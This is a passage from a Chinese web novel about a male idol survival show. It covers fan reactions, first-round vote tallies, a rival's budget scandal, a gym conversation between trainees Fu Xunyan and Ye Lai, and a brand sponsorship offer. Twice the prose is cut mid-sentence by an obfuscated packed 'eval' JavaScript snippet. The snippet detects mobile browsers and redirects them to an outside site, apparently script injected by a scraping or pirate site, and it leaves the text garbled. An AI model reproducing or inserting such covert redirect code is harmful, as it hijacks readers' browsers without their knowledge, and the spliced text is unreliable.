[哈哈哈怎么有种好贱的感觉] [已下单,穿出来不是寻宝的效果你家得负责] [乐我少的是口袋和餐巾纸,我少的是那张哭花了妆也帅的脸啊!] 但还不等大家打趣F家太久,就看见一个明晃晃顶着“陈鸣雀”id的0级账号扔了个航母,留言是“改编很好,我很喜欢,希望以后能合作!(微笑jpg)” [噗有谁告诉陈老师,那个表情是嘲讽啊啊啊啊] [原谅老年人吧,我刚刚还怀疑是不是陈老师本人,结果他的经纪人认证了我勒个去] [我的妈呀,我爸的偶像来看我的偶像,我有点玄幻现在] 小美抱着柳雨哭得稀里哗啦,她本就泪点低,更别提傅寻砚的那张帅脸在屏幕上给了太足的氛围感加持。 仿佛世间的最美好,随着那最初轻柔后又高亢的歌声破碎。 “呜呜呜呜救命啊我停不下来。”小美崩溃。 柳雨无奈,只好分给她再多几张纸巾,由于侧脸时看到了旁边那个位置的姐姐戴上了墨镜,她想了想,也递过去一张。 对方愣了一下,可能没想到这样也被发现自己哭了。不过她还是说了句谢谢,接了过去侧脸轻轻擦拭泪水。 网络上也出现了一个小热潮,傅寻砚和《风啊,又是一夜雨》分别都上了热搜,这次可真的是总榜,直接空降第一第二。 随后没多久,《新世纪》的其他舞台诸如《Hold》,以及达裴叶莱等人也都上了热搜,粗略数过去,前二十他们直接占了一半。 是个非常非常好的成绩。 女导演沈子卿在后台抓紧了扶手,语气里压抑不住的兴奋,“太好了,节目稳了。” 是的,直到今天,当热点不再呈现单级化而是以傅寻砚为首的一超多强,节目才真正站稳了脚跟。 傅寻砚被人群和热气裹挟着下了台,他的脑子现在有些茫然,思维短暂空缺了一会。 直到沈迟他们张开手将自己抱入怀里,熟悉的气味和身躯让傅寻砚回归现实,他落在宽背上的手指不自觉蜷曲。 “好了好了,可以放开我了。” 沈迟看着他的眼睛亮闪闪的,非常激动,“傅哥!傅哥你是我的神,这也太好听了!” 沈迟是个天赋型选手,技巧还有待改进但唱商超强,当一回忆起刚刚的舞台,他就想要落眼泪,只好向后弯腰控制自己不泪洒现场。 尹星蘅也想说什么,但下个舞台就是他,他不得不简单和傅寻砚拍了个手便离开。 傅寻砚也不能在这个与等候厅的交接处多待,很快选管就过来分开一众练习生,将傅寻砚组带入了票数公布室。 室内的气氛,静谧到极致。 25.第二十五日 和其他选秀节目规则一致,一公的输赢对练习生而言意味着额外票的加成。 《新世纪》一公的规则也早在选队伍那会儿就公布了。 首先是同首歌PK,赢的队伍每位练习生加送5000票,然后六首歌每首得票数最高的练习生再PK,票数最高的练习生个人再加送5000票。 单从票数来看,堪称迄今为止选秀节目票数加送最多的一次。 但考虑到经济的发展与票池的深浅,赢家得到1万票又很正常,毕竟5000票只能让第61位跳入第55位,让52位前进超越1名。 而第一次排位所要拦腰砍断的地方就是60,排名60位之后的选手,直接淘汰。 傅寻砚没有顾忌周恒宇等人看他的复杂目光,带着大家在左侧长椅上坐下,并且从口袋里继续掏纸巾给队友让他们擦擦汗——虽然没怎么跳舞,但冷汗也有不少。 [哈哈哈寻宝:我龙傲天誓死守护刘波儿们的汗水] [傅寻砚口袋是无底洞吗?怎么放得下那么多纸巾的?] [指路一分钟前,路过cody的时候重新薅的] [手很快啊你小汁,cody一回头半包纸巾没了] “啊啊啊出来了!”段琪琪下意识抓住两边的手,所有人立刻盯紧了屏幕。 刚刚还黑暗一片的屏幕印上了两行对应的格子,稍后大家的名字将根据组内排名倒数着揭晓。 傅寻砚看了一圈队友,眼底有担心,但更多的是鼓励。 蒋安、顾峰和彭思源也五味杂陈,他们知道自己的实力有几分,本就不期望得多少票,但人总是这样,真的到了这一刻又停不住美好幻想。 最先公布的是两组投票第六名。 蒋安10票 vs 蒋烨0票 !可以说两边都震惊了。 一是惊讶于蒋烨竟然只有0票,这是一公第一个0票,蒋烨整个人看上去都快崩溃了,脸色苍白不可置信。 可另一方面,蒋安的10票也很令人震惊,其他队伍基本倒数第三才能脱离个位票数,可傅寻砚这组竟然最后一名都有10票,这似乎预示了一个很不可能而又摆在这里的现实。 周恒宇他们跌惨了。 在《新世纪》节目组与观众以及练习生的拉扯中,票数终于慢慢被一个个揭开。 顾峰12票 vs 曹思林3票 彭思源15票 vs 凌远航 6票 白镇 20票 vs 邵若舟 10票(Leader) 段琪琪(Center)25票vs 吴瑞克14票 傅寻砚(Leader)?vs周恒宇(Center)? [我的妈妈呀这个票型真的绝了,除了每组的第一,其他人其实都很一般] [其实看傅寻砚这组还算正常,除了段琪琪这个center稍微低了点,其他都和其他组差不多,主要是邵若舟那组被薅惨了,头一次看见第三名还只有十几票……] [呵呵吴妈没话讲,他们那歌排的,除了周恒宇一直占着C位有镜头,其他人等于背景板好吧,多亏我儿歌喉响亮给人留了记忆点……] [又臭又长的念白一过去,我对周恒宇组的舞台印象为零,甚至不记得有谁doge] [靠今晚节目播出了之后我一定要看看谁给他们排的,这也太烂了吧] [呃按道理两组风格差那么多,应该是练习生自己有想法所以接过了策划的工作,你们邵若舟组不如自查一下组内谁有那么大话语权(小声逼逼)] [笑死就差指名道姓了,他们组除了周恒宇自己谁还有能力说服节目组接受这种狗屎提案啊,太子爷的臭脚就是得捧啊] [啊啊啊啊啊我不关心其他人,我只在乎最后两个人到底多少票!要是周恒宇搞什么后台弄一百多票的话我真的会生气!] 段琪琪并不因为自己只有25票而有什么遗憾,因为毕竟他对家才14呢,能在这种情况下有25,段琪琪已经很知足了。 而且就算他得了组内第一,他也不可能拿到六首歌第一,还不如期待一下傅哥带飞让他们每人加到5000票。 他搭上了傅寻砚的肩,一股高考出分的紧张劲瞪着屏幕。 “显灵显灵!傅哥一定要超100啊。” 在12双眼睛焦灼的注视下,屏幕终于缓缓龟速地开始揭晓分数。 先是给了最后一位,傅寻砚为6,而周恒宇却是9。 [急死了急死了再慢点我要杀到节目组门口了!] [天杀的到底有没有人能黑进节目组帮我看看分数啊!] 126! 126!!! “啊啊啊啊啊!傅哥超高分啊!!!”段琪琪最先跳起来,一把拱入傅寻砚怀里,幸好彭思源他们在身后托着才没让傅寻砚一个倒栽葱。 “怎么……”周恒宇差点念出来,眼神灰败地看着屏幕上自己的69分。 傅寻砚差点超了他一倍! 问题是,就在几天前自己的总票数还在第五,而傅寻砚只有第八,不论粉丝基数又或者其他,傅寻砚今天都不该超过他那么多! 为什么? “表现好呗还能为什么。”柳雨激动地在网上与酸鸡展开世界大战。 “虽然这波《风啊》确实占了一点人气练习生少的优势,但周恒宇在傅寻砚手里只拿到69票足以说明傅寻砚的实力就是牛啊。” 柳雨激动地朝着身边张望,不少女孩虽然惊讶于傅寻砚的超高票,却又低头时小声嘀咕。 “其实也没啥不可能的,我也给他投票了嘛……” 身边的同担怒目:“你太过分了,背叛革命!不是说好今天除了给奇奇他们投,其他舞台都要弃票嘛!” “算了团长,本来答应你弃票的也就三两只小猫。”另一个女孩翻了个白眼,“再说我都看见了,你也投了,别嚷嚷了。” “主要是傅寻砚的美貌太有蛊惑力了,姐妹们真的撑不住,全按投票了。” 柳雨还看见远处有几个女孩抱在一块激动地流泪,对上柳雨的目光,其中一人欣慰地点点头。 她们也是寻妈。 “126票,真是好梦幻的数字,《一首情歌》应该没有能打过这个分数的,傅寻砚这次一公第一应该是稳了。”柳雨逼迫自己冷静下来。 “本来就是好吧。”小美在旁边默默补充,“他唱歌就是有壁啊,现场的质感不要太好,直播间里也是一骑绝尘。” 柳雨点头,突然有些庆幸节目组开直播放舞台的决定,这下不是魑魅魍魉牛鬼蛇神立见?往常一公结束后网络常有的骂战,今年声音都小了很多。 笑死,但凡听过现场或直播间,就知道傅寻砚拿这个票数一点问题都没有——甚至周恒宇还虚高了呢! 柳雨感觉自己现在整个人都快乐得要飞起来,没办法,自家爱豆争气就是这么舒爽。 傅寻砚的成绩出来后,柳雨心里的大石头都落了地。 没办法,任何在后援会或者粉丝群任职的人,实际上都没有办法享受纯粹追星的快感,她们的日常更接近于一种工作,而动力来自于对偶像的爱意。 哪天爱意不在了,她们也会迅速离职。 当然,以上是纯粹版。 事实上,随着投入越多,很多站姐之流存在庞大的“沉没成本”,于是纵使慢慢见证着偶像堕落,也因为金钱的来往与一些无形之物的束缚而不得挣脱。 柳雨只希望傅寻砚能成为这个圈子里的清流。 她也在深夜问过自己,真的要再一脚踩进这个肮脏的地方吗? 傅寻砚的过去告诉她,是的,或许他有让柳雨为之一搏的特质。 柳雨无论如何也不会相信,一个能肩负那么多却依旧活得那么努力的人,会慢慢被腐蚀,以至于同流合污。 而如果那一天真的到来……柳雨只能说,她将会见证一场世纪性崩塌,也将因为身为其中的亲密见证者之一而感到一种隐秘的窃喜。 那时的傅寻砚不再是追逐的偶像,而是作为谈资的笑料。 ** 尹星蘅的《一首情歌》也很成功,为他夺得了120票的好成绩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15221178|164369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,仅次于傅寻砚。 《新世纪》一公两首出圈曲目都是抒情曲,这让所有人始料未及,因为这根本不符合一般选秀节目的定律。 越燃越炸的歌曲往往能在第一时间抓住观众眼球,这也是竞技比赛首选舞曲的原因。像《风啊,又是一夜雨》这样凄凄惨惨的东西,本来要配合后期氛围感才能熠熠生辉。 周恒宇抱着那样的想法,所以使劲往布景上用力,放弃了现场而寄希望于镜头呈现的舞台。 但他本人的统筹能力太差,让舞台走向了无聊的极端。 不仅如此,他还遇上了傅寻砚,傅寻砚与他完全相反,将力气花在了“真诚”上。 是的,不论是改编也好、简洁的布景也好、质感超绝的妆造也好,他们的核心在于以一种简单质朴的方式,让尽可能多的人感受到歌曲所要传达的力量。 换言之,他们在雕琢歌曲本身,而不是费尽心思去包装。 直播一结束,《风啊,又是一夜雨》的B组音源将傅寻砚蝉联一周的《爱·棘》踹下了排行榜,成功霸占第一名。 《一首情歌》A组音源也以很快的飙升速度来到了《风啊,又是一夜雨》之下,一时间新歌热榜前三名都是《新世纪》。 其他歌曲也榜上有名,不过都在五名开外,比起前两首歌来已经不值一提。 陈鸣雀老师正好接到了采访,娱记倒是没有故意cue,但奈不住陈老师喜欢人才。 “最近其实我又在看《新世纪偶像》,对就是那个选秀节目,啊是啊很新潮……我特别看好小傅,他的改编能力很好,我还听了他的《爱·棘》,原创能力也很好,我真的觉得他以后肯定能有更好的作品产出。” 陈老师说到这,还明显生硬,且有点滑稽地比了个拇指心,“我很喜欢你的音乐态度,真的,以后希望能和你合作。” [宝我是你喜欢的麻袋:#傅寻砚《风啊》# 一觉醒来寻妈看见儿子飞升了666] [寻宝C位出道吧!:#傅寻砚《风啊》# 我也,昨晚下班太晚了赶不上直播,想着反正周五直播周六播赛前周日播剪辑版,就没蹲直播,没想到啊……] [秀芬是我呀:#傅寻砚《风啊》# 当126票出现的时候,我的心是激动的,当陈老师甩下一个航母的时候,我已经炸裂了] [我在乞力马扎罗祈雨:#傅寻砚绝美舞台# 好争气啊妈妈的宝贝!] [世界最南端:#傅寻砚绝美舞台# 姐妹们别耽误投票!咱们总榜已经和叶莱差不了多少了,第一指日可待!我们必须在一公排名发布前给宝一个惊喜,冲鸭!!!] [地球穿越线:#傅寻砚绝美舞台# 已投满!] [秀芬是我呀:#傅寻砚绝美舞台# 已投满!+1] [寻宝C位出道吧!:#傅寻砚绝美舞台# 已投满!+10086] [我儿何时能出头:#傅寻砚美鼠了# 糊粉偷偷爬过来……你们真的好事业粉,没人夸夸傅寻砚的脸吗我的天,昨晚给我美迷糊了,今天还魂不守舍的……] [糖分综合征:#傅寻砚美鼠了# 众所周知,脸是寻宝最不值得一提的优势] [秀芬是我呀:@我儿何时能出头可能因为你跑错圈了,你叉出去看看,我们组是“寻宝冲冲冲”一般是事业粉进的,美貌组和舞台组在隔壁“阿傅洛狄忒”] [我儿何时能出头:@秀芬是我呀 叹为观止,你们居然有五个万人大组……好快的拓展速度!] 与热搜第一都在夸舞台夸傅寻砚的脸不同,热搜排在第五的,竟然是周恒宇。 但不是什么好词条,而是“周恒宇超预算”。 热度最高的一条深入分析了周恒宇组布景的价格,得出的结论是除非周恒宇拉到家具厂的赞助,否则节目自助绝对超过三万。 甚至在话题愈演愈烈的后来,有人自称是节目组工作人员出来爆料,说周恒宇就是占了傅寻砚组的预算,还说周恒宇家真的太支持他的“偶像事业”了,和节目组不止打了一次招呼。 这一下,算是引起了群情激奋。 26.第二十六日 [激情秀芬在线开麦:#周恒宇超预算#绝了绝了恶不恶心啊,我就是觉得隔壁皇族太多才来《新世纪》的,怎么这里也有皇族?] [我儿何时能出头:#周恒宇超预算#心疼楼上,但皇族这个事情只要是选秀都有,请千万不要放弃我们小世纪哦宝宝,小世纪除了有个别(重音)臭虫,其他孩子都是好孩子啊] [夜中梦话:#周恒宇超预算#楼上真的好努力地安利,我看见你好几次了] [我儿何时能出头:#周恒宇超预算#唉,没办法,我儿在节目里,当妈的还是要拼一把的] [VIP到了头:#周恒宇超预算#周恒宇家到底有没有人扒一扒,不是说只是明星家庭吗?他爸妈也不是流量一线吧?哪来那么大的力量?] [激情秀芬在线开麦:#周恒宇超预算#这题我会!我来!你不知道,有些不出名的明星不是捧不起自己,而是想搞点别的生意赚大钱,他爸妈就是,只能说根据某瓣组里扒出来的,这家有钱有势] [怀念一个人叫小微:#周恒宇超预算#啥意思,能说清楚点不?] [激情秀芬在线开麦:#周恒宇超预算#怕被举报没办法,给你链接自己去看吧] [我是漫才高手:#周恒宇超预算#不管他到底什么背景,能不能别来妨碍寻宝啊?我承认他长得还行,rap勉强过关,但真的毫无魅力,何必整这死出?] 不过很快,周恒宇那边就反应了过来,大量水军迅速涌入,在这个热搜下狂刷对周恒宇的好评,制作各种安利视频,试图趁着这波黑红扩大名气。 柳雨时刻关注动向,本以为水军和周恒宇的粉丝会大肆辱骂诋毁傅寻砚,谁知并没有,只有几个小黑粉在跳脚。 她看着手机上陈敛清回的话,似懂非懂。 陈敛清说因为之前傅寻砚的事件中官媒下场,好几个央视频道虽然没有直说,但隐晦表扬了傅寻砚,所以现在其他家的大粉都很避讳黑傅寻砚。 一来傅寻砚现在群众基础太强,他们如果没有证据就污蔑,可能反而引起社会反感,给自家哥哥带来很大的负面影响。 二来他们也担心万一到时候官媒再跳出来给傅寻砚作保,会狠狠打他们的脸。 这场不见硝烟但格外激烈的对决甚至把叶莱家的宣传也给隐身了。 叶妈从一开始的不甘心到吃瓜,只需要一晚上的无效挣扎,开始佛系地见缝插针向路人安利叶莱。 比如“对对对,我们叶子就是反派周恒宇身边那个帅哥,大家可以看看”“我们叶子可乖了,和周恒宇可没关系,也是被皇族欺负的小可怜罢了”。 由于《新世纪》实实在在、不加区分收了所有人的手机,练习生们暂时不知道网络上周恒宇和傅寻砚两家的对战。 但周恒宇又不是没看见现场的反应以及自己的分数,大概是大少爷遭受的这波打击太大,赛后竟然罕见地安静下来。 根据邵若舟传出的风声,他自闭了。 听到这个传闻的傅寻砚将纸张放在床头,新的一天又开始了。 “你说什么?真的是Patrox吗?”总策划杨清有些震惊,立刻停下了手里的工作,“F家不是也有想法吗?” 来汇报的人笑着:“是啊我也吓了一跳,接到电话都有点怀疑是不是打错了,但居然真的是Patrox的首席设计师林女士。” “她说她想和傅寻砚合作,请他担任Patrox未来两年的品牌大使,但根据我们节目第一集的信息去找了宝音,才发现傅寻砚已经解约了。” “她嫌找经纪人麻烦,想直接从我们这里联系一下傅寻砚。” “至于F家……虽然这次舞台借了服装,但他们好像还在犹豫,不知道能不能赶在P家前和傅寻砚联系上。” 杨清手指轻轻敲击桌面,推了推眼镜,“傅寻砚的爬升速度真快啊,看看,昨天节目播出后今天他人气都飙升到第一了。” “本来是给他安排了中插的,但林女士那边我们也不好得罪……这样吧,你去把傅寻砚叫来,看看他有什么想法。” 昨天直播结束后选管通知了今天放假一天,傅寻砚也放纵了一把睡到八点才悠悠转醒。 整个宿舍依旧拉着窗帘黑暗一片,达裴有些鼻炎所以发出了轻微的呼吸声,白闻及和沈迟都睡死了根本没有任何动静。 傅寻砚悄悄起来,快速洗漱后穿着那套万年不变的练习服去了健身室锻炼。 “你也这么早?” 跑步机上的男孩将颈部搭着的毛巾拿起来擦了擦汗水,窗外阳光正好,将他照得明媚阳光。他黑色的瞳孔在太阳映照下变成了琉璃,浅淡得能照出人影。 “这有什么早的,都九点了。”叶莱抿唇,淡淡回应。 “再说你不是都来一小时了吗?我算晚的了。” 健身房里只有他们两人的呼吸声。 不得不说这个年纪的男孩们大多有些懒,更何况是长相相对出色的练习生们,在被宠坏了的顺风顺水中成长起来的他们大多学不会自律。 一百个里都不见得有一个人会来健身房锻炼,对他们来说,练习室已经够累了,没必要给自己增加负担。 这家伙锻炼还真认真啊……久久听不到傅寻砚搭话的叶莱看了他好几眼。 “恭喜你了,拿了这次的第一。” 傅寻砚摁下暂停键,跑步机短暂停下,他擦了擦颈部的汗,侧眸。 “嗯,毕竟认真去做了。” 叶莱露出难言的表情,“你还真不谦虚啊,按理来说应该谦虚一下,然后再安慰我吧,我可是因为你输了。” “因为我?”傅寻砚不懂他的逻辑,虽然没再说话,但眼眸里很认真地表露了意思——你不是才第五吗?前面还有三个呢。 叶莱捂住额头,“你不是情商很高吗?现在这么刻薄地对我真的好吗?” “没有刻薄。” 那个男孩认真地解释,叶莱心尖一颤。 “情商是用在对陌生人、对同事、对商业伙伴身上的,对待朋友的话,也许真诚一点更好?” 叶莱觉得荒谬,匆忙避开他看过来的眼睛,直愣愣盯着手里的哑铃。 “什么真诚不真诚的,你还是在嘲笑我吧?我可是大前辈,讲点尊老爱幼好吗?” 那人不说话,叶莱抬头,却发现他已经站在面前。 站着的傅寻砚要比自己高出许多,他垂下眼眸,那双慵懒的眸子总是看起来冷酷又多情。 叶莱不自在地抓了抓脖子。 “我没有在嘲笑你,你也没有输。” “我在后台看过你的表演,很好,你完成得很完美,没有得到高分并不是你的原因,只是规则的影响而已。” “票数的高低不意味着我有资格嘲笑你,叶莱。” 这是他第一次认真地喊他的名字…… 那双黑色的眼睛盯着人时,就好像春水上涨,将湖畔的花朵溺毙其中。 “没有任何人有资格嘲笑你、看低你,或仅仅因为一次的失利而对你失望。那些责怪你没有取得第一的人,并没有认识你的本质,没有看到你的努力,也不值得你为他们伤心。” 叶莱感到热意攀上了脸庞,他看着窗外,任由太阳灼痛眼睛。 “什么嘛,我又没说我难过,我当然知道这些啊……” “那就当我多事。”男孩耸了耸肩。 “听到江瀚说你昨晚在亭子待了很久,以为你不开心。” 说实话昨天节目结束后叶莱回去抑郁了很久,他在《热血战歌》拿到了第一,但在所有舞台中票数直接落到了第五。 《热血战歌》的舞台里杀出了两匹黑马,这两人虽然没有超过他的票数,但分票很严重。 导致叶莱只有94票。 看着隔在他与那个名字之间的三人,叶莱觉得刺眼极了。 以至于即便今天是休息日,昨夜他也完全失眠,他无法形容心里的酸胀感。明明承载了那么多粉丝的期望,明明一开始作为榜首甩开后面一大截,现在却好像慢慢在被超越。 他正在辜负很多人的期待。 叶莱郁闷极了,只好趁着没人来健身房想通过运动发泄一下,结果看见穿着简单T恤也难掩肌肉线条的傅寻砚,他更郁 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傅寻砚用毛巾擦去额头的汗水,嗅了嗅身上似乎没什么异味,也没空回去换衣服了。 “嗯?你刚刚要说什么?” 望着那双清亮的眼睛,叶莱又将那些话咽下,“没事,不是那边有事叫你吗?先去吧。” “那我走了。”傅寻砚收回落在叶莱身上的目光,快步离开健身房。 ** “寻砚啊。”杨清拿着笔正在签字,见傅寻砚进来抬头看了他一眼又埋首,“你先坐,我这边两份文件签完字再和你说。” 领导就是这样的,明明是他急着把你叫来,却又总是要你等一会。究其根本,不过是你的地位和你的价值还不足以与他想要先忙的事情抗衡。 无关礼貌,因为他们认为和你根本不必谈礼貌。 过了大约十分钟,杨清才终于忙完手里的事,将老板椅转过来朝傅寻砚招了招手。 “你认识Patrox的林薇薇林女士吗?” “不能说认识。”傅寻砚实话实说,“我单方面知道林女士而已。” “嗯。”杨清对这话不置可否,突然又把话题拐了弯,“你现在的经纪约不在宝音了?” “对,大概一周前和宝音和平分手了。” “啊,这么大的事情也没人告诉我呢。”杨清盯着电脑屏幕,手也忙碌着,就是不看傅寻砚。 “对方突然提出要和你合作,而且比较紧急,希望你明天就能过去签约拍摄,但他们联系不上你的经纪公司,这是她的联系方式……啊练习生没有手机是吧,那你和她在我这通话吧。” 呵。 傅寻砚表面不声张,只是顺从地通过杨清办公室的电话联系上了林薇薇女士。 与林薇薇的交谈很简短,因为傅寻砚并不愿意在杨清的办公室聊合作,只是向林薇薇表示感谢后将李鹏程的电话给了她,请她与经纪人细谈。 直到傅寻砚把电话挂了,杨清还是直直盯着他。 这小子还挺机灵,知道不在他面前多说,把所有事情都推到幕后经纪人那去了。 “小傅啊,哥也不和你绕圈子,虽然Patrox是个非常非常好的机会,但你也知道现在节目没结束,作为练习生的一员,也要为节目考虑。” “我本来安排了你这周拍摄中插的……” “如果时间不冲突,我也可以拍摄。”傅寻砚答应下来。 节目中的中插拍摄是不给练习生劳务费的,因为这就像一种交易,节目给练习生更多的亮相时间,相应的,练习生就得“白打工”。 而以傅寻砚现在的热度,实在是节目组得求着他来拍中插,而不是他因为接到中插感恩戴德。 傅寻砚不纠结这些小钱,所以免费拍摄倒也算不上什么,至少粉丝有新的物料看了不是吗? 杨清很满意傅寻砚的懂事和识趣,心情好了笑容也多了,“那你去准备准备吧马上去拍吧,如果你们那边谈拢,恐怕今晚你就得离开基地赶明天的拍摄。” 27.第二十七日 傅寻砚退出办公室,跟着工作人员的引导去了另一栋楼的拍摄室。 室内已经有人在等待了,都是熟人,周恒宇、叶莱和Kenny。 周恒宇看到他,脸色已经是毫不遮掩的臭,就好像傅寻砚身上有什么传染病似的远远就避开,与Kenny站在了一起。 叶莱看着周恒宇皱眉,眼睛里就差没写上“你是有什么毛病吗”。 工作人员在旁边指挥,“今天有两个中插哈,一个是酸奶,另一个是洗衣液。” “广告商有指定人选吗?” 实习生刚想张嘴,旁边的助理眼疾手快拦住,然后凑到广告组组长耳边嘀咕了一会。 “这怎么搞?”广告组组长看着这边犯难,“总不能他一个拍两个吧?” 只要不是自恋到失智,都能明白这个“他”是傅寻砚,不过正如周恒宇这种人,仍然抱了微妙的心思希望是自己。 面对一公失利引发众嘲的局面,他和经纪人已经商量好了对策。 让爸妈去上目前一个很火的综艺,然后在综艺里正式介绍自己的家世,营造最强星二代的人设。 现在的追星女都喜欢家世好的,她们会下意识美化星二代、富二代,觉得他/她们品位高、审美好、有家教,说不定会个多国语言,而且情商拉满。 嗯,虽然是有这类人存在,但周恒宇自己肯定不属于此类。他只是个娇生惯养,虽然没长歪但也没什么本事的小帅哥罢了。 不管如何,只要这个事情爆出来,大家肯定会对他有所改观,也就不会盯着他超预算还失败的一公了。 不过那个综艺在周二播出,今天才周六,这么快? 但到底让他失望了,广告组组长走到四人面前,“这样,你们两两一组拍一个,傅寻砚你下周中插的时候再来一趟,如果广告商那边坚持要你,你再补拍一个。” 说完后他倒退了几步,打量了一下几人的脸,“Kenny和傅寻砚,叶莱和周恒宇?” “不要。”周恒宇又暗地被气了一回,装都不装了,“麻烦老师,我和Kenny吧。” 他才不要和叶莱,这家伙根本没服从公司的安排带他! 广告组组长刚想问为什么,一想到这小子的爸妈是谁立刻闭嘴,好吧好吧,他想和谁就和谁,反正其他三人也不反对。 当然不反对,傅寻砚和谁都无所谓,他会完成好自己的工作。 叶莱嘴上轻嗤,却不能忽视内心泛上来的奇怪感觉,全然忘记了刚刚在健身房里还对傅寻砚冒着小小酸水。 Kenny……他的意见不重要。 说来也惨,Kenny的人气一直很高,大约在第5到第6名徘徊,但因为平时与大家交流不畅,所以存在感薄弱。 本来他的粉丝想通过营销脸出圈,奈何傅寻砚这张更正统的戳中华国人性癖的脸摆在这,Kenny这种花美男脸凑上去反而显得不高级。 营销实力吧,这哥唱跳确实不错,但又完全被傅寻砚盖过了风头。 真是倒霉。 傅寻砚至今还未和Kenny说过话,但要说同情他——完全不会。 从未来回到现在的傅寻砚完全知道Kenny是个什么样的人,表面纯情美男实则花花公子,虽然没有犯法,但这种背叛粉丝信任的家伙仍旧使傅寻砚觉得很刺目。 还是和叶莱合作比较好,毕竟叶莱能力强,自律性又高。 “真的吗?你说什么?”叶莱怀疑自己的耳朵。 “我说我也更愿意和你合作。”傅寻砚又重复了一遍,“你怎么了,怎么突然神不在焉。” “没有啊,等等,‘也’?” 傅寻砚实在不明白叶莱在干什么,“是啊,你不是刚刚说想和我一起拍的吗?” “我什么(时候)”叶莱的眼睛突然慢慢瞪大,完全丧失了一贯的镇定。 他好像刚刚自言自语,把心里话说出来了…… “喂喂喂我没说,你不要自己脑补!”叶莱立刻大声,然后骤然发现,自己干嘛那么惊慌?说了就说了又怎样? 为什么好像一碰上傅寻砚就会陷入某种自证陷阱,他是自带了什么buff吗?可恶…… 傅寻砚不明白叶莱怎么突然和刺猬一样,但看着叶莱慢慢红了脸颊,他若有所思。 还是个小孩子啊……虽然看上去是竞争性极强,但这个年纪的男孩,怎么会真的成熟到完全可以忽视掉如影随形的孤独呢? 不论是上辈子,还是这次到目前为止,叶莱好像都一直孤身一人在奋斗。 以至于以前就有黑粉骂他,说他这个人一点团队精神都没有,把所有人当假想敌,表面兄弟情都是假的,实则是个心机婊。 但傅寻砚不认为如此。 叶莱无法和同公司的人亲近,是因为周恒宇和邵若舟的品行不被他认可,而他无法与别人亲近,则是因为在别人眼里,他肯定和同公司的人抱团了。 再加上他是大Top,谁也不敢来蹭他的热度。 叶莱很不幸地被迫“孤立他人”。 可是,叶莱说到底也才20岁,比自己还小了三个月,虽然因为出道过而显得沉稳,但曾经也是组合的忙内(老小)。 叶莱正在自我拉扯,一边无限后悔刚刚的丢脸,一会又在劝服自己怎么了不就说了句话……直到温热的手抚上头顶。 叶莱怔着偏过头来,对上那双璀璨的眼眸。 “那行,是我很想和你一起拍,毕竟你可是我选择的颜值第一呢。” 啊?猝不及防被傅寻砚炸雷,叶莱一口气又上不来。 选秀自然少不了一些练习生之间的互投排名,这次《新世纪》也搞了三个,分明是“你心目中的颜值第一”“如果我是女生我会喜欢”“如果他是女生我会喜欢”。 投票是昨晚一公结束后投的,大家第二天都碍于不好意思没有交流这个,结果这会傅寻砚毫不客气交了底。 “为什么?为什么投给我?”叶莱实在不明白,《新世纪》的帅哥很多,尤其是围绕在傅寻砚身边那一群,按理来说他根本没理由投给自己。 “啊?单纯觉得你很帅不行吗?”傅寻砚佯装惊讶。 “算你有品味。” 这回叶莱的耳朵彻底红了。 傅寻砚看着他逃出去的背影,心里冒出些许抱歉。如果他还在那个单纯的年纪,他会理直气壮对叶莱说“因为你帅”,可他不是,他已经27 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15231358|164369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 岁了。 他也说了谎,他的理由并不纯粹。 节目组的问题太过有引导性。 什么“如果我是女生我会喜欢”“如果他是女生我会喜欢”,简直把“我要炒cp”几个字印在脸上。 于是第一个问题也逃不过被磕糖的命运。 可傅寻砚不想让这个回答变得那么复杂,或者说功利。 他打算直接选择自己,但被拒绝了。 他们用眼神示意他选达裴、沈迟或者尹星蘅。 可他不想,他不想让自己的朋友沦为节目组操纵的话题对象,因为一旦彼此意识到“我们正在炒cp”这件事后,任何的友情都会变质。 他亲眼见过这样的结局,明明赛时好得穿一条裤子,哥哥弟弟感人得很,却在赛后因为小小的一点利益就分崩离析,粉丝一片哀嚎。 观众可以臆想,但他们自己不能为了引导这种臆想而做出一些似是而非的举动。 他们可以打趣,可以像小男生那样相互开玩笑,可他们不能在意识到炒cp这件事的情况下继续这样玩闹。 人心最经不起考验,哪怕此时大家有99%的真心,一旦到了分岔路口,任何一方都会怀疑是否曾经的过去都是全然的谎言。 这就是为什么娱乐圈真正的友情反而不怎么为观众所知,友情需要保护而不是挂在嘴边宣扬,被聚光灯照耀的友情迟早会腐烂。 同时,他也不能乱投这一票,因为一旦投出去就是给了节目组炒作的把柄,他不能随便把人投上风口浪尖。 在左右为难之中,傅寻砚最好的选择是叶莱,没什么原因,理由就是他在自己心中确实很帅。 啊?你要问最帅?那没法选,人的审美多样,戳中他审美的脸也很多,评不出什么最帅。 …… 如果非得再给一个理由,那就是他希望他的认可能够让叶莱意识到,自己把他当做对手。 他们可以是良好的竞争关系,可以是理想中全然正派的竞争关系,不涉及任何场外手段。他尊重叶莱,也敬佩叶莱的能力,并且想和叶莱一争。 人是社会性动物,永远都在成长。不要说他只是“重来”一次,就算重来十次、二十次,他依旧会在看似相同却实则不同的人生里收获新的惊喜和感动。 而从那天看见等待着他的粉丝开始,傅寻砚就一直在思考。当片刻的感动被不断延长,他从中汲取到了继续前进的力量。 